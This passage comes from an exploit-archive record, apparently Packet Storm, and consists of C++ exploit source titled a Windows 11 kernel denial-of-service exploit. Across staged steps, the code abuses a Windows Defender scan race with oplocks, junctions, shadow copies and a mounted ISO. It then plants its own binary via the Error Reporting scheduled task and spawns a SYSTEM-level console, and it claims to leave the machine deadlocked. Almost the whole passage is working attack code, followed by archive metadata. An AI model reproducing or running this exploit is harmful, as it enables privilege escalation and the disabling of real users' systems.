NULL, SecurityDelegation, TokenPrimary, \\u0026hnewtoken);\\n        CloseHandle(htoken);\\n        \\n        if (!res)\\n            return;\\n    \\n        res = SetTokenInformation(hnewtoken, TokenSessionId, \\u0026sessionid, sizeof(DWORD));\\n        if (!res) {\\n            CloseHandle(hnewtoken);\\n            return;\\n        }\\n    \\n        STARTUPINFO si = { 0 };\\n        si.cb = sizeof(si);\\n        PROCESS_INFORMATION pi = { 0 };\\n        \\n        CreateProcessAsUser(hnewtoken, L\\&#8221;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\conhost.exe\\&#8221;, NULL, \\n                           NULL, NULL, FALSE, NULL, NULL, NULL, \\u0026si, \\u0026pi);\\n    \\n        CloseHandle(hnewtoken);\\n    \\n        if (pi.hProcess)\\n            CloseHandle(pi.hProcess);\\n        if (pi.hThread)\\n            CloseHandle(pi.hThread);\\n        \\n        return;\\n    }\\n    \\n    DWORD WINAPI PoseidonGeneratorThread(void*) {\\n        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);\\n        WaitForSingleObject(g_poseidonevent, INFINITE);\\n        \\n        do {\\n            BCryptGenRandom(NULL, (PUCHAR)g_poseidonbuf, sizeof(g_poseidonbuf), BCRYPT_USE_SYSTEM_PREFERRED_RNG);\\n        } while (!g_poseidonexit);\\n    \\n        return ERROR_SUCCESS;\\n    }\\n    \\n    DWORD WINAPI PoseidonThread(void*) {\\n        GUID uid = { 0 };\\n        RPC_WSTR wuid = { 0 };\\n        UuidCreate(\\u0026uid);\\n        UuidToStringW(\\u0026uid, \\u0026wuid);\\n        wchar_t* wuid2 = (wchar_t*)wuid;\\n        \\n        wchar_t target[MAX_PATH] = { 0 };\\n        ExpandEnvironmentStrings(L\\&#8221;%TEMP%\\\\\\\\RP_\\&#8221;, target, MAX_PATH);\\n        wcscat(target, wuid2);\\n    \\n        HANDLE hfile = CreateFile(target, GENERIC_ALL, NULL, NULL, CREATE_NEW, \\n                                 FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);\\n        if (!hfile || hfile == INVALID_HANDLE_VALUE)\\n            return GetLastError();\\n    \\n        WaitForSingleObject(g_poseidonevent, INFINITE);\\n        \\n        try {\\n            do {\\n                SetFilePointer(hfile, 0, NULL, FILE_BEGIN);\\n                DWORD ret = 0;\\n                WriteFile(hfile, g_poseidonbuf, sizeof(g_poseidonbuf), \\u0026ret, NULL);\\n            } while (!g_poseidonexit);\\n        } catch (int e) {\\n        }\\n        \\n        CloseHandle(hfile);\\n        return ERROR_SUCCESS;\\n    }\\n    int main() {\\n        printf(\\&#8221;============================================================\\\\n\\&#8221;);\\n        printf(\\&#8221;  inouva &#8211; Windows Kernel LDoS Exploit\\\\n\\&#8221;);\\n        printf(\\&#8221;  Windows 11 25H2 (Build 26200) and later\\\\n\\&#8221;);\\n        printf(\\&#8221;============================================================\\\\n\\\\n\\&#8221;);\\n    \\n        ntdllhm = GetModuleHandle(L\\&#8221;ntdll.dll\\&#8221;);\\n        if (!ntdllhm) {\\n            printf(\\&#8221;[!] Failed to get ntdll.dll handle.\\\\n\\&#8221;);\\n            return 1;\\n        }\\n    \\n        _NtSetInformationFile = (NTSTATUS(WINAPI*)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS))\\n            GetProcAddress(ntdllhm, \\&#8221;NtSetInformationFile\\&#8221;);\\n        _NtDeleteFile = (NTSTATUS(WINAPI*)(POBJECT_ATTRIBUTES))\\n            GetProcAddress(ntdllhm, \\&#8221;NtDeleteFile\\&#8221;);\\n        _NtOpenDirectoryObject = (NTSTATUS(WINAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES))\\n            GetProcAddress(ntdllhm, \\&#8221;NtOpenDirectoryObject\\&#8221;);\\n        _NtQueryDirectoryObject = (NTSTATUS(WINAPI*)(HANDLE, PVOID, ULONG, BOOLEAN, BOOLEAN, PULONG, PULONG))\\n            GetProcAddress(ntdllhm, \\&#8221;NtQueryDirectoryObject\\&#8221;);\\n        _NtQueryInformationFile = (NTSTATUS(WINAPI*)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS))\\n            GetProcAddress(ntdllhm, \\&#8221;NtQueryInformationFile\\&#8221;);\\n    \\n        if (!_NtSetInformationFile || !_NtDeleteFile || !_NtOpenDirectoryObject || \\n            !_NtQueryDirectoryObject || !_NtQueryInformationFile) {\\n            printf(\\&#8221;[!] Failed to import NT API functions.\\\\n\\&#8221;);\\n            return 1;\\n        }\\n        g_poseidonevent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n        if (!g_poseidonevent) {\\n            printf(\\&#8221;[!] Failed to create event.\\\\n\\&#8221;);\\n            return 1;\\n        }\\n        if (IsRunningAsLocalSystem()) {\\n            printf(\\&#8221;[*] Running as Local System.\\\\n\\&#8221;);\\n            HANDLE hclient = CreateFile(L\\&#8221;\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\RoguePlanet\\&#8221;, GENERIC_READ | GENERIC_WRITE,\\n                                        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\\n                                        NULL, OPEN_EXISTING, NULL, NULL);\\n            if (!hclient || hclient == INVALID_HANDLE_VALUE)\\n                return 1;\\n            \\n            DWORD sesid = 0;\\n            bool sh = GetNamedPipeServerSessionId(hclient, \\u0026sesid);\\n            CloseHandle(hclient);\\n            \\n            if (sh) {\\n                LaunchConsoleInSessionId(sesid);\\n            }\\n            return 0;\\n        }\\n        SYSTEM_INFO sysinfo = { 0 };\\n        GetSystemInfo(\\u0026sysinfo);\\n        \\n        if (sysinfo.dwNumberOfProcessors \\u003e 3) {\\n            DWORD tid = 0;\\n            CreateThread(NULL, 0, PoseidonGeneratorThread, NULL, 0, \\u0026tid);\\n            \\n            for (int i = 0; i \\u003c sysinfo.dwNumberOfProcessors; i++) {\\n                DWORD tid0 = 0;\\n                CreateThread(NULL, 0, PoseidonThread, NULL, 0, \\u0026tid0);\\n            }\\n            printf(\\&#8221;[*] Started %d Poseidon threads.\\\\n\\&#8221;, sysinfo.dwNumberOfProcessors);\\n        }\\n        HANDLE hpipe = CreateNamedPipe(L\\&#8221;\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\RoguePlanet\\&#8221;, PIPE_ACCESS_DUPLEX, \\n                                       PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, \\n                                       NULL, NULL, NULL, NULL);\\n        if (!hpipe || hpipe == INVALID_HANDLE_VALUE) {\\n            printf(\\&#8221;[!] Failed to create communication pipe, error: %d\\\\n\\&#8221;, GetLastError());\\n            return 1;\\n        }\\n        printf(\\&#8221;[*] Stage 1: Mounting ISO&#8230;\\\\n\\&#8221;);\\n        HANDLE hvirtdisk = NULL;\\n        if (!MountISO(\\u0026hvirtdisk)) {\\n            printf(\\&#8221;[!] Failed to mount ISO.\\\\n\\&#8221;);\\n            return 1;\\n        }\\n        printf(\\&#8221;[+] ISO mounted successfully.\\\\n\\&#8221;);\\n        wchar_t windir2[MAX_PATH] = { 0 };\\n        GetWindowsDirectory(windir2, MAX_PATH);\\n    \\n        HANDLE hwin = CreateFile(windir2, GENERIC_READ, \\n                                FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \\n                                NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);\\n        if (!hwin || hwin == INVALID_HANDLE_VALUE) {\\n            printf(\\&#8221;[!] Failed to open %ws, error: %d\\\\n\\&#8221;, windir2, GetLastError());\\n            return 1;\\n        }\\n        printf(\\&#8221;[*] Stage 2: Creating working directory structure&#8230;\\\\n\\&#8221;);\\n        \\n        wchar_t workdir[MAX_PATH] = { 0 };\\n        GUID uid = { 0 };\\n        RPC_WSTR wuid = { 0 };\\n        UuidCreate(\\u0026uid);\\n        UuidToStringW(\\u0026uid, \\u0026wuid);\\n        wchar_t* wuid2 = (wchar_t*)wuid;\\n        ExpandEnvironmentStrings(L\\&#8221;%TEMP%\\\\\\\\RP_\\&#8221;, workdir, MAX_PATH);\\n        wcscat(workdir, wuid2);\\n    \\n        if (!CreateDirectory(workdir, NULL)) {\\n            printf(\\&#8221;[!] Failed to create work directory, error: %d\\\\n\\&#8221;, GetLastError());\\n            return 1;\\n        }\\n        SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);\\n        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);\\n        HANDLE hdirtmp = NULL;\\n        wchar_t dirtmp[MAX_PATH] = { 0 };\\n        wsprintf(dirtmp, L\\&#8221;\\\\\\\\??\\\\\\\\%s\\\\\\\\wdtest_temp\\&#8221;, workdir);\\n        UNICODE_STRING _dirtmp = { 0 };\\n        RtlInitUnicodeString(\\u0026_dirtmp, dirtmp);\\n        OBJECT_ATTRIBUTES dirtmpobjattr = { 0 };\\n        InitializeObjectAttributes(\\u0026dirtmpobjattr, \\u0026_dirtmp, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        IO_STATUS_BLOCK iostat = { 0 };\\n        \\n        NTSTATUS dirstat = NtCreateFile(\\u0026hdirtmp, GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,\\n                                        \\u0026dirtmpobjattr, \\u0026iostat, NULL, NULL, FILE_SHARE_READ,\\n                                        FILE_CREATE, FILE_DIRECTORY_FILE, NULL, NULL);\\n        if (dirstat) {\\n            printf(\\&#8221;[!] Failed to create working directory: %ws, error: 0x%0.8X\\\\n\\&#8221;, dirtmp, dirstat);\\n            return 1;\\n        }\\n    \\n        wchar_t wddirname[MAX_PATH] = { 0 };\\n        if (!GetWERDir(wddirname)) {\\n            return 1;\\n        }\\n        wchar_t* verdirname = PathFindFileName(wddirname);\\n        wsprintf(zippath, L\\&#8221;%s\\\\\\\\%s\\\\\\\\wermgr.exe\\&#8221;, workdir, verdirname);\\n    \\n        HANDLE hdir = NULL;\\n        wchar_t maindirname[MAX_PATH] = { 0 };\\n        wsprintf(maindirname, L\\&#8221;\\\\\\\\??\\\\\\\\%s\\\\\\\\%s\\&#8221;, workdir, verdirname);\\n        UNICODE_STRING _maindirname = { 0 };\\n        RtlInitUnicodeString(\\u0026_maindirname, maindirname);\\n        OBJECT_ATTRIBUTES maindirobjattr = { 0 };\\n        InitializeObjectAttributes(\\u0026maindirobjattr, \\u0026_maindirname, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        iostat = { 0 };\\n        \\n        dirstat = NtCreateFile(\\u0026hdir, GENERIC_READ | FILE_WRITE_DATA | DELETE, \\n                               \\u0026maindirobjattr, \\u0026iostat, NULL, NULL, FILE_SHARE_READ,\\n                               FILE_CREATE, FILE_DIRECTORY_FILE, NULL, NULL);\\n        if (dirstat) {\\n            printf(\\&#8221;[!] Failed to create working directory: %ws, error: 0x%0.8X\\\\n\\&#8221;, maindirname, dirstat);\\n            return 1;\\n        }\\n        printf(\\&#8221;[*] Stage 3: Writing EICAR test file&#8230;\\\\n\\&#8221;);\\n        \\n        wchar_t _mntpath[MAX_PATH] = { 0 };\\n        ULONG pathsz = MAX_PATH;\\n        DWORD retval = GetVirtualDiskPhysicalPath(hvirtdisk, \\u0026pathsz, _mntpath);\\n        if (retval) {\\n            printf(\\&#8221;[!] Failed to fetch mounted disk path, error: %d\\\\n\\&#8221;, retval);\\n            return 1;\\n        }\\n    \\n        wchar_t mntpath[MAX_PATH] = { L\\&#8221;\\\\\\\\Device\\\\\\\\\\&#8221; };\\n        wcscat(mntpath, PathFindFileName(_mntpath));\\n    \\n        HANDLE heicar = WriteEicar(maindirname, mntpath);\\n        if (!heicar)\\n            return 1;\\n        printf(\\&#8221;[+] EICAR file written successfully.\\\\n\\&#8221;);\\n        printf(\\&#8221;[*] Stage 4: Triggering Windows Defender scan&#8230;\\\\n\\&#8221;);\\n        \\n        SetEvent(g_poseidonevent);\\n    \\n        DWORD tid = 0;\\n        HANDLE hthread = CreateThread(NULL, 0, WDStartScan, NULL, 0, \\u0026tid);\\n        if (!hthread) {\\n            printf(\\&#8221;[!] Failed to create working thread, error: %d\\\\n\\&#8221;, GetLastError());\\n            return 1;\\n        }\\n        printf(\\&#8221;[+] Windows Defender scan started.\\\\n\\&#8221;);\\n        printf(\\&#8221;[*] Stage 5: Triggering race condition&#8230;\\\\n\\&#8221;);\\n    \\n        wchar_t _delpath[MAX_PATH] = { 0 };\\n        wsprintf(_delpath, L\\&#8221;%s\\\\\\\\wermgr.exe\\&#8221;, maindirname);\\n        UNICODE_STRING delpath = { 0 };\\n        RtlInitUnicodeString(\\u0026delpath, _delpath);\\n        OBJECT_ATTRIBUTES delobjattr = { 0 };\\n        InitializeObjectAttributes(\\u0026delobjattr, \\u0026delpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        IO_STATUS_BLOCK deliostat = { 0 };\\n        HANDLE hc = NULL;\\n    \\n        wchar_t vsspath[MAX_PATH] = { 0 };\\n        ShadowCopyFinderThread(vsspath);\\n        printf(\\&#8221;[*] VSS path: %ws\\\\n\\&#8221;, vsspath);\\n    \\n        CloseHandle(heicar);\\n        HANDLE hvss = NULL;\\n        wchar_t vsswinpath[MAX_PATH] = { 0 };\\n        wsprintf(vsswinpath, L\\&#8221;%s\\\\\\\\%s\\\\\\\\%s\\\\\\\\wermgr.exe:WDFOO\\&#8221;, vsspath, \\u0026workdir[3], verdirname);\\n        UNICODE_STRING _vsswinpath = { 0 };\\n        RtlInitUnicodeString(\\u0026_vsswinpath, vsswinpath);\\n        OBJECT_ATTRIBUTES objattr2 = { 0 };\\n        InitializeObjectAttributes(\\u0026objattr2, \\u0026_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        iostat = { 0 };\\n        \\n        NTSTATUS stat = NtCreateFile(\\u0026hvss, GENERIC_READ | SYNCHRONIZE, \\u0026objattr2, \\u0026iostat, \\n                                     NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);\\n    \\n        REQUEST_OPLOCK_INPUT_BUFFER opin = { 0 };\\n        opin.StructureLength = sizeof(opin);\\n        opin.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\\n        opin.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;\\n        opin.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;\\n        REQUEST_OPLOCK_OUTPUT_BUFFER opout = { 0 };\\n        opout.StructureLength = sizeof(opout);\\n        opout.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\\n        DWORD cb = 0;\\n        OVERLAPPED ovoplock = { 0 };\\n        ovoplock.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n    \\n        DeviceIoControl(hvss, FSCTL_REQUEST_OPLOCK, \\u0026opin, sizeof(opin), \\n                       \\u0026opout, sizeof(opout), \\u0026cb, \\u0026ovoplock);\\n        WaitForSingleObject(ovoplock.hEvent, INFINITE);\\n        CloseHandle(hvss);\\n        NTSTATUS delstat = NtCreateFile(\\u0026hc, DELETE, \\u0026delobjattr, \\u0026deliostat, NULL, NULL,\\n                                        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\\n                                        FILE_SUPERSEDE, NULL, NULL, NULL);\\n        MoveToTempDir(hc);\\n        if (!CreateJunction(hdir, mntpath))\\n            return 1;\\n    \\n        if (hc)\\n            CloseHandle(hc);\\n    \\n        printf(\\&#8221;[*] Stage 6: Monitoring for directory changes&#8230;\\\\n\\&#8221;);\\n        \\n        char buff[0x1000] = { 0 };\\n        wchar_t teststr[] = { L\\&#8221;Temp\\\\\\\\TMP\\&#8221; };\\n    \\n        do {\\n            ZeroMemory(buff, sizeof(buff));\\n            DWORD retbytes = 0;\\n            ReadDirectoryChangesW(hwin, buff, sizeof(buff), TRUE, \\n                                 FILE_NOTIFY_CHANGE_FILE_NAME, \\u0026retbytes, NULL, NULL);\\n            PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;\\n            if (pfni-\\u003eFileNameLength \/ 2 != 24 || _wcsnicmp(\\u0026pfni-\\u003eFileName[0], teststr, 8) != 0)\\n                continue;\\n            break;\\n        } while (1);\\n        printf(\\&#8221;[*] Stage 7: Finalizing exploit&#8230;\\\\n\\&#8221;);\\n    \\n        wchar_t workdir2[MAX_PATH] = { L\\&#8221;\\\\\\\\??\\\\\\\\\\&#8221; };\\n        wcscat(workdir2, workdir);\\n        \\n        if (!CreateJunction(hdir, dirtmp)) {\\n            return 1;\\n        }\\n        wchar_t lockpath[MAX_PATH] = { 0 };\\n        wsprintf(lockpath, L\\&#8221;%s\\\\\\\\wermgr.exe\\&#8221;, mntpath);\\n        HANDLE hlock1 = NULL;\\n        UNICODE_STRING _lockpath = { 0 };\\n        RtlInitUnicodeString(\\u0026_lockpath, lockpath);\\n        OBJECT_ATTRIBUTES lockpathobjattr = { 0 };\\n        InitializeObjectAttributes(\\u0026lockpathobjattr, \\u0026_lockpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        iostat = { 0 };\\n    \\n        CloseHandle(WriteEicar(maindirname, mntpath));\\n    \\n        stat = NtCreateFile(\\u0026hlock1, GENERIC_READ, \\u0026lockpathobjattr, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL,\\n                            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, NULL, NULL, NULL);\\n        if (stat) {\\n            printf(\\&#8221;[!] Failed to open file: %ws, error: 0x%0.8X\\\\n\\&#8221;, lockpath, stat);\\n            return 1;\\n        }\\n    \\n        if (!LockFile(hlock1, NULL, NULL, MAXDWORD, MAXDWORD)) {\\n            printf(\\&#8221;[!] Failed to lock file, error: %d\\\\n\\&#8221;, GetLastError());\\n            return 1;\\n        }\\n        HANDLE heicar2 = NULL;\\n        wchar_t eicarpath[MAX_PATH] = { 0 };\\n        wsprintf(eicarpath, L\\&#8221;%s\\\\\\\\wermgr.exe\\&#8221;, maindirname);\\n        UNICODE_STRING _eicarpath = { 0 };\\n        RtlInitUnicodeString(\\u0026_eicarpath, eicarpath);\\n        OBJECT_ATTRIBUTES eicarpathobjattr = { 0 };\\n        InitializeObjectAttributes(\\u0026eicarpathobjattr, \\u0026_eicarpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        iostat = { 0 };\\n        \\n        stat = NtCreateFile(\\u0026heicar2, GENERIC_READ, \\u0026eicarpathobjattr, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL,\\n                            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, NULL, NULL, NULL);\\n        if (stat) {\\n            printf(\\&#8221;[!] Failed to open file: %ws, error: 0x%0.8X\\\\n\\&#8221;, eicarpath, stat);\\n            return 1;\\n        }\\n    \\n        wchar_t newfpath[MAX_PATH] = { 0 };\\n        wcscpy(newfpath, maindirname);\\n        wcscat(newfpath, L\\&#8221;\\\\\\\\\\&#8221;);\\n        \\n        do {\\n            ZeroMemory(buff, sizeof(buff));\\n            DWORD retbytes = 0;\\n            ReadDirectoryChangesW(hdirtmp, buff, sizeof(buff), TRUE, \\n                                 FILE_NOTIFY_CHANGE_SIZE, \\u0026retbytes, NULL, NULL);\\n            PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;\\n            wcscat(newfpath, \\u0026pfni-\\u003eFileName[0]);\\n            break;\\n        } while (1);\\n        if (!LockFile(heicar2, NULL, NULL, MAXDWORD, MAXDWORD)) {\\n            printf(\\&#8221;[!] Failed to lock EICAR file, error: %d\\\\n\\&#8221;, GetLastError());\\n            return 1;\\n        }\\n        CloseHandle(hwin);\\n    \\n        REPARSE_GUID_DATA_BUFFER rp_buffer = { 0 };\\n        rp_buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;\\n        DWORD cb2 = 0;\\n        OVERLAPPED ov = { 0 };\\n        HANDLE hevent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n        ov.hEvent = hevent;\\n        \\n        DeviceIoControl(hdir, FSCTL_DELETE_REPARSE_POINT, \\u0026rp_buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE,\\n                        nullptr, 0, \\u0026cb2, \\u0026ov);\\n        CloseHandle(ov.hEvent);\\n    \\n        printf(\\&#8221;[*] Stage 8: Writing payload&#8230;\\\\n\\&#8221;);\\n    \\n        HANDLE htempfile = NULL;\\n        UNICODE_STRING _newfpath = { 0 };\\n        RtlInitUnicodeString(\\u0026_newfpath, newfpath);\\n        OBJECT_ATTRIBUTES newfpathobjattr = { 0 };\\n        InitializeObjectAttributes(\\u0026newfpathobjattr, \\u0026_newfpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        iostat = { 0 };\\n        \\n        stat = NtCreateFile(\\u0026htempfile, GENERIC_READ | GENERIC_WRITE | DELETE, \\u0026newfpathobjattr, \\u0026iostat,\\n                            NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\\n                            FILE_OVERWRITE_IF, NULL, NULL, NULL);\\n        if (stat) {\\n            printf(\\&#8221;[!] Failed to open file: %ws, error: 0x%0.8X\\\\n\\&#8221;, newfpath, stat);\\n            return 1;\\n        }\\n    \\n        HMODULE module = GetModuleHandle(NULL);\\n        wchar_t mx[MAX_PATH] = { 0 };\\n        GetModuleFileName(module, mx, MAX_PATH);\\n        \\n        HANDLE hself = CreateFile(mx, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\\n                                  NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\\n        if (!hself || hself == INVALID_HANDLE_VALUE) {\\n            printf(\\&#8221;[!] Failed to open current executable, error: %d\\\\n\\&#8221;, GetLastError());\\n            return 1;\\n        }\\n    \\n        DWORD readbytes = 0;\\n        LARGE_INTEGER li = { 0 };\\n        GetFileSizeEx(hself, \\u0026li);\\n        void* exebuff = malloc(li.QuadPart);\\n        \\n        if (!ReadFile(hself, exebuff, li.QuadPart, \\u0026readbytes, NULL)) {\\n            printf(\\&#8221;[!] Failed to read current executable binary, error: %d\\\\n\\&#8221;, GetLastError());\\n            return 1;\\n        }\\n        CloseHandle(hself);\\n    \\n        readbytes = 0;\\n        OVERLAPPED ovp = { 0 };\\n        ovp.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n        \\n        if (WriteFile(htempfile, exebuff, li.QuadPart, \\u0026readbytes, \\u0026ovp) == ERROR_IO_PENDING) {\\n            printf(\\&#8221;[!] Failed to write payload file, error: %d\\\\n\\&#8221;, GetLastError());\\n            return 1;\\n        }\\n        WaitForSingleObject(ovp.hEvent, INFINITE);\\n        CloseHandle(ovp.hEvent);\\n        free(exebuff);\\n    \\n        printf(\\&#8221;[*] Stage 9: Finalizing and detaching&#8230;\\\\n\\&#8221;);\\n        CloseHandle(heicar2);\\n        MoveToTempDir(htempfile);\\n        MoveToTempDir(hdirtmp);\\n        MoveToTempDir(hdir);\\n        HANDLE hparent = NULL;\\n        UNICODE_STRING _workdir = { 0 };\\n        RtlInitUnicodeString(\\u0026_workdir, workdir2);\\n        OBJECT_ATTRIBUTES workdirobjattr = { 0 };\\n        InitializeObjectAttributes(\\u0026workdirobjattr, \\u0026_workdir, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        iostat = { 0 };\\n       \\n        stat = NtCreateFile(\\u0026hparent, FILE_WRITE_ATTRIBUTES, \\u0026workdirobjattr, \\u0026iostat, NULL, NULL,\\n                            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN,\\n                            FILE_DIRECTORY_FILE, NULL, NULL);\\n        if (stat) {\\n            printf(\\&#8221;[!] Failed to open file: %ws, error: 0x%0.8X\\\\n\\&#8221;, workdir2, stat);\\n            return 1;\\n        }\\n        wchar_t __tmp[MAX_PATH] = { 0 };\\n        GetWindowsDirectory(__tmp, MAX_PATH);\\n        wchar_t dest[MAX_PATH] = { L\\&#8221;\\\\\\\\??\\\\\\\\\\&#8221; };\\n        wcscat(dest, __tmp);\\n        \\n        if (!CreateJunction(hparent, dest)) {\\n            return 1;\\n        }\\n        CloseHandle(hparent);\\n        CloseHandle(hdirtmp);\\n        CloseHandle(hdir);\\n        DetachVirtualDisk(hvirtdisk, DETACH_VIRTUAL_DISK_FLAG_NONE, NULL);\\n        CloseHandle(hvirtdisk);\\n        WaitForSingleObject(hthread, INFINITE);\\n        CloseHandle(hthread);\\n        CloseHandle(htempfile);\\n        g_poseidonexit = true;\\n        Sleep(500);\\n        printf(\\&#8221;[*] Stage 11: Triggering persistence&#8230;\\\\n\\&#8221;);\\n    \\n        HRESULT hr = S_OK;\\n        ITaskService* pTaskSvc = NULL;\\n        hr = CoInitialize(NULL);\\n        if (SUCCEEDED(hr)) {\\n            hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,\\n                                  IID_ITaskService, (void**)\\u0026pTaskSvc);\\n            if (FAILED(hr)) {\\n                printf(\\&#8221;[!] Failed to initialize task scheduler COM server.\\\\n\\&#8221;);\\n                CoUninitialize();\\n                return 1;\\n            }\\n        } else {\\n            return 1;\\n        }\\n        hr = pTaskSvc-\\u003eConnect(_variant_t(), _variant_t(), _variant_t(), _variant_t());\\n        if (hr) {\\n            printf(\\&#8221;[!] Failed to connect to task scheduler service, error: 0x%0.8X\\\\n\\&#8221;, hr);\\n            return 1;\\n        }\\n        ITaskFolder* taskfolder = NULL;\\n        hr = pTaskSvc-\\u003eGetFolder((BSTR)L\\&#8221;\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Windows Error Reporting\\&#8221;, \\u0026taskfolder);\\n        if (hr) {\\n            printf(\\&#8221;[!] Failed to get task scheduler folder, error: 0x%0.8X\\\\n\\&#8221;, hr);\\n            return 1;\\n        }\\n        IRegisteredTask* taskex = NULL;\\n        hr = taskfolder-\\u003eGetTask((BSTR)L\\&#8221;QueueReporting\\&#8221;, \\u0026taskex);\\n        if (hr) {\\n            printf(\\&#8221;[!] Failed to obtain task object, error: 0x%0.8X\\\\n\\&#8221;, hr);\\n            return 1;\\n        }\\n        IRunningTask* runningtask = NULL;\\n        hr = taskex-\\u003eRun(_variant_t(), \\u0026runningtask);\\n        if (hr) {\\n            printf(\\&#8221;[!] Failed to run scheduled task, error: 0x%0.8X\\\\n\\&#8221;, hr);\\n            return 1;\\n        }\\n        if (!ConnectNamedPipe(hpipe, NULL)) {\\n            printf(\\&#8221;[!] ConnectNamedPipe failed, error: %d\\\\n\\&#8221;, GetLastError());\\n            return 1;\\n        }\\n        printf(\\&#8221;\\\\n============================================================\\\\n\\&#8221;);\\n        printf(\\&#8221;  [!!] EXPLOIT SUCCESSFUL\\\\n\\&#8221;);\\n        printf(\\&#8221;  System should now be in a frozen\/deadlocked state.\\\\n\\&#8221;);\\n        printf(\\&#8221;  Some drivers may fail to load on next boot.\\\\n\\&#8221;);\\n        printf(\\&#8221;============================================================\\\\n\\\\n\\&#8221;);\\n        runningtask-\\u003eRelease();\\n        taskex-\\u003eRelease();\\n        taskfolder-\\u003eRelease();\\n        pTaskSvc-\\u003eRelease();\\n        CoUninitialize();\\n        return 0;\\n    }\\n    \\n    \\n    \\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223817&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223817\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&